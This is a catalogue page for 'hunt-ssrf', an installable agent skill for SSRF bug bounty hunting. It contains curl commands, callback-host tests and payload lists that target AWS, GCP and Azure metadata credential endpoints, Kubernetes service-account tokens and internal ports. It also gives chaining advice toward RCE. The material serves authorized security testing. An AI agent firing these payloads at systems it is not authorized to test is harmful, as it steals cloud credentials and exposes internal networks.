hunt-ssrf
Hunting skill for ssrf vulnerabilities. Built from 15 public bug bounty reports including AWS metadata SSRF (HackerOne $25k Analytics PDF, Shopify Exchange $25k, Capital One 106M-record breach, Dropbox/HelloSign $4,913), GCP metadata SSRF (Snapchat $4k), Azure IMDS SSRF (Azure DevOps $15k chain, Cha…
Install / Use
npx skills add elementalsouls/Claude-BugHunter --skill hunt-ssrfInstalls into whichever agent you are using.
SKILL.md
Installable skill definition
Quality Score
Category
AI & Machine LearningSupported Platforms
Our assessment of hunt-ssrf
hunt-ssrf scores 96/100 on our quality scale, 77th of 825 AI & Machine Learning skills we index (top 10%).
Its SKILL.md is 27 KB long, well organised into 65 sections with 16 code examples: a thorough specification that gives an agent plenty to work with.
With 4,669 GitHub stars, it is one of the more widely adopted skills in the catalogue.
Maintenance, license and trust
- The repository was last updated 2 days ago, so hunt-ssrf is actively maintained.
- It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
- Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.
hunt-ssrf compared with similar skills
All 4 of these similar skills score higher than hunt-ssrf; compare them before choosing.
| Skill | Score | Stars | Updated | Format |
|---|---|---|---|---|
| hunt-ssrf (this skill)by elementalsouls | 96 | 4.7k | 2d ago | SKILL.md |
| claude-memby thedotmack | 100 | 94.8k | today | CLAUDE.md |
| Agent-Reachby Panniantong | 100 | 85.9k | 13d ago | CLAUDE.md |
| Understand-Anythingby Egonex-AI | 100 | 84.4k | today | CLAUDE.md |
| headroomby headroomlabs-ai | 100 | 74.0k | 1d ago | CLAUDE.md |
Frequently asked questions
- How do I install hunt-ssrf?
- Run
npx skills add elementalsouls/Claude-BugHunter --skill hunt-ssrf. The install tabs above show the steps for each supported agent. - Which AI agents does hunt-ssrf work with?
- It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
- Is hunt-ssrf safe to use?
- It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
- Is hunt-ssrf still maintained?
- The repository was last updated 2 days ago, so hunt-ssrf is actively maintained.
Skill content
View source on GitHubname: hunt-ssrf description: Hunting skill for ssrf vulnerabilities. Built from 15 public bug bounty reports including AWS metadata SSRF (HackerOne $25k Analytics PDF, Shopify Exchange $25k, Capital One 106M-record breach, Dropbox/HelloSign $4,913), GCP metadata SSRF (Snapchat $4k), Azure IMDS SSRF (Azure DevOps $15k chain, ChatGPT Custom Actions MSRC), DNS rebinding SSRF (Concrete CMS, GitLab UrlBlocker), gopher-protocol-to-Redis-RCE (Yahoo Mail $15k), link-preview SSRF (Reddit Matrix $6k), and headless-browser PDF-generator SSRF chains. Use when hunting SSRF on any target — OOB Collaborator confirmation mandatory for blind cases. sources: github, hackerone_public, portswigger_research, binarysecurity_research report_count: 34
Crown Jewel Targets
SSRF is highest-value when the target runs on cloud infrastructure (AWS, GCP, Azure) where metadata services expose credentials, or when the server sits inside a complex internal network (Kubernetes clusters, microservice meshes, internal APIs). Priority targets:
- Cloud-hosted SaaS products (GCP metadata at
169.254.169.254ormetadata.google.internal, AWS IMDSv1) - Kubernetes/orchestration platforms — aggregated API servers, metrics-server, kubelet endpoints expose privileged cluster operations
- Internal developer tooling — CI/CD, workflow orchestration (Flyte, Argo), admin panels not exposed externally
- Link preview / URL fetching features — Reddit-style preview APIs, Slack-style unfurling, media processors
- Dataset/file import pipelines — anything that fetches remote URLs on behalf of a user
- Enterprise self-hosted software (GitHub Enterprise, GitLab) — SSRF frequently chains to RCE via internal services
Payouts are highest when SSRF reaches: cloud credentials → account takeover, internal admin APIs → data exfil, or chains to RCE.
OOB-Or-It-Didn't-Happen Gate (Read First)
Claims of blind SSRF require an out-of-band (OOB) confirmation. Always. No exceptions.
OOB means: a Burp Collaborator domain, an interactsh-client listener, a canarytoken, or any DNS+HTTP receiver you control that confirms the server actually made an outbound network connection on your behalf.
What is NOT confirmation of SSRF
- The server echoing your URL back in an error message. Example:
"The Web application at http://evil.example.com/x could not be found"— this is the server formatting your input into an error string, NOT making an outbound HTTP request. The error came from string formatting, not from network failure. - The server returning a different status code for an external URL vs
localhost. Different error responses can come from URL-scheme validators, not from actual fetching. - A delayed response when the URL is sent. Delay can come from DNS resolution attempts within the parser, not from completed HTTP fetches.
What IS confirmation of SSRF
- A DNS lookup for your unique Collaborator subdomain appears in the OOB listener.
- An HTTP request to your Collaborator HTTP endpoint with the server's source IP and User-Agent.
- For SSRF in JavaScript-execution contexts (PDF renderers, headless browsers), a fetch from the server to your callback URL.
Default workflow
- Plant the Collaborator payload first. Sub-tagging (
dlsrcurl.<collab>,import.<collab>) only works if your listener actually reports the queried subdomain back to you — verify that before relying on it. Burp'sget_collaborator_interactionskeys results by payload ID, not by subdomain, so several sub-tags generated from one payload are indistinguishable in the output. When that is the case, generate a fresh payload per candidate parameter and send exactly one request per payload. - Send the request to the target endpoint.
- Wait 30–120 seconds, then poll the OOB listener.
- Only after a confirmed callback do you claim SSRF.
- If zero callbacks across all sub-tagged sinks: SSRF claims must be retracted, even if error messages echo URLs.
Lesson from a authorized engagement: SharePoint's /_layouts/15/download.aspx?SourceUrl= returned 500 with the title "The Web application at <attacker-URL> could not be found". Initial scan flagged this as SSRF (server clearly processed the URL). 38 Collaborator-tagged payloads across 12+ URL-accepting parameters yielded zero DNS or HTTP interactions. The "echo" was client-side error-string formatting; the server never made an outbound HTTP request. The path is actually an SP-internal SPFile/SPWebApplication resolver, not a generic URL fetcher. Reporting this as SSRF would have been N/A'd at triage.
Attribute the callback to ONE parameter before reporting
A callback proves the server made a request. It does not tell you which parameter caused it, and the fix depends entirely on that.
BAD — four candidate fields, one payload, fired in one batch
-> callbacks arrive, attribution impossible, retest required
GOOD — fresh payload per field, one request each, poll between
url -> callbacks <- this is the sink
apiUrl -> none
endpoint -> none
target -> none
Run the negative control. A parameter that produces no callback is evidence, and it belongs in the report — it is what lets the client fix the right field instead of allowlisting the wrong one.
Lesson from an authorized engagement. A server-side request-forwarding endpoint
accepted both url and apiUrl. The application's own stored config used apiUrl,
so that was the obvious suspect — but apiUrl was inert and url was the live
sink.
Batch-firing both had produced callbacks with no attribution; only per-payload
isolation identified the real parameter. A report naming apiUrl would have sent
the client to patch a field that does nothing.
Blind vs full-read — establish which before scoring
After a callback confirms the request leaves the server, check whether the upstream response body is returned to you. These are different findings:
- Blind (callback only, no body): on the never-submit list standalone. Needs an internal service reached, or data returned, to be reportable.
- Full-read (upstream body in the response): substantially higher severity — read arbitrary internal endpoints directly.
# one request settles it: fetch something with a known, recognisable body
-d '{"url":"https://example.com/"}'
# {"statusCode":200,"data":"<!doctype html>...<title>Example Domain</title>..."}
# ^ body returned = full-read, not blind
Also body-diff a known-internal target against a known-external one. A distinct
status on a link-local address (e.g. 401 from 169.254.169.254 where every
other target returns 200) is the metadata service answering — that proves reach
to a non-internet-routable address, which a status code alone otherwise cannot.
Attack Surface Signals
URL Patterns to Hunt
/api/*/preview
/api/*/fetch
/api/*/import
/api/*/webhook
/api/*/proxy
/api/*/render
/api/*/link
/api/*/screenshot
/api/*/export
/api/*/validate
?url=
?uri=
?endpoint=
?redirect=
?src=
?source=
?feed=
?host=
?target=
?dest=
?file=
?path=
?callback=
?image=
?load=
?fetch=
JS Patterns (in client-side code)
// Look for these in JS bundles
fetch(userInput)
axios.get(params.url)
XMLHttpRequest + variable URL
url: req.body.url
src: params.source
href: query.endpoint
Response Header Signals
X-Forwarded-For headers echoed back
Server: internal-service
Via: 1.1 internal-proxy
X-Cache headers revealing internal hostnames
Tech Stack Signals
- Kubernetes — any public-facing aggregated API, metrics endpoints
- GCP — any service fetching URLs that runs on Compute Engine/GKE
- Node.js/Python with URL-fetching libraries (
requests,node-fetch,axios) - Headless browsers (Puppeteer, PhantomJS) used for screenshots/PDF — extremely high value
- XML/DSPL/CSV import features — XXE-style SSRF vector
- OAuth/webhook registration endpoints
Step-by-Step Hunting Methodology
-
Map all URL-input parameters across the target: spider JS files for fetch calls, check all API docs, look for file-import, link-preview, webhook, image-proxy, and redirect features.
-
Set up an out-of-band detection server using Burp Collaborator, interactsh, or
https://canarytokens.org— you need a unique per-test DNS/HTTP callback domain. -
Send your callback URL as the parameter value first (blind SSRF check before anything else):
url=https://YOUR.interactsh.com/testConfirm the server makes an outbound connection. This proves execution before attempting internal targets.
-
Test internal cloud metadata endpoints:
- GCP:
http://metadata.google.internal/computeMetadata/v1/ - AWS:
http://169.254.169.254/latest/meta-data/ - Azure:
http://169.254.169.254/metadata/instance
- GCP:
-
Test localhost and common internal ports:
http://localhost/ http://127.0.0.1:8080/ http://127.0.0.1:6443/ (Kubernetes API) http://127.0.0.1:2379/ (etcd) http://127.0.0.1:9090/ (Prometheus) http://127.0.0.1:9200/ (Elasticsearch) -
Check for redirect-based SSRF — if the endpoint validates the initial URL but follows 30x redirects, host a redirect server pointing to internal addresses. Kubernetes report (Report 3) was specifically triggered by hijacked API servers returning 30x responses.
-
Test JavaScript-execution contexts (headless browsers, PDF renderers):
- Inject
<script>tags that makeXMLHttpRequestorfetch()calls to internal services - Exfil via DNS: encode response data in subdomain of your callback domain
- Inject
-
Enumerate the internal network using timing differences and error message variations:
- Port scan via response time (
connection refusedvs timeout) - Check error messages for hostname/IP leakage
- Port scan via response time (
-
Chain findings — if you have SSRF to internal services, look for:
- Unauthenticated admin endpoints
- Redis, memcached (protocol smuggling)
- Internal OAuth token endpoints
- SSRF → CSRF → RCE (GitHub Enterprise pattern)
-
Document the full chain with screenshots of each hop before reporting.
Payload & Detection Patterns
Basic Out-of-Band Detection
# Using interactsh-client
interactsh-client -v
# Test parameter
curl -s "https://target.com/api/preview?url=https://YOUR_ID.oast.pro"
# With common headers that might unlock SSRF
curl -s "https://target.com/api/fetch" \
-H "Content-Type: application/json" \
-d '{"url":"https://YOUR_ID.oast.pro"}'
Cloud Metadata Payloads
# GCP - requires Metadata-Flavor header (test if server adds it automatically)
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://169.254.169.254/computeMetadata/v1/project/project-id
http://metadata/computeMetadata/v1/
http://169.254.169.254/computeMetadata/v1/
# AWS IMDSv1 (no auth required)
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data
# AWS ECS task credentials (retrieve from env var AWS_CONTAINER_CREDENTIALS_RELATIVE_URI)
http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}
# Azure - instance metadata and managed identity token
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
# Requires Metadata: true header for Azure requests
# Kubernetes service account credentials (file:// SSRF)
file:///var/run/secrets/kubernetes.io/serviceaccount/token
file:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt
Localhost/Internal Port Payloads
# Kubernetes internals
http://127.0.0.1:6443/api/v1/namespaces
http://10.0.0.1:6443/api/v1/secrets
http://127.0.0.1:10250/pods # kubel
Truncated for display — read the full file on GitHub.
Related Skills
claude-mem
94.8kPersistent Context Across Sessions for Every Agent – Captures everything your agent does during sessions, compresses it with AI, and injects relevant context back into future sessions. Works with Claude Code, OpenClaw, Codex, Gemini, Hermes, Copilot, OpenCode + More
Agent-Reach
85.9kGive your AI agent eyes to see the entire internet. Read & search Twitter, Reddit, YouTube, GitHub, Bilibili, XiaoHongShu — one CLI, zero API fees.
Understand-Anything
84.4kGraphs that teach > graphs that impress. Turn any code into an interactive knowledge graph you can explore, search, and ask questions about. Works with Claude Code, Codex, Cursor, Copilot, Gemini CLI, and more.
headroom
74.0kCompress tool outputs, logs, files, and RAG chunks before they reach the LLM. 20% fewer tokens for coding agents, 60-95% fewer tokens for JSON, same answers. Library, proxy, MCP server.
Languages
Trust signals
From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.
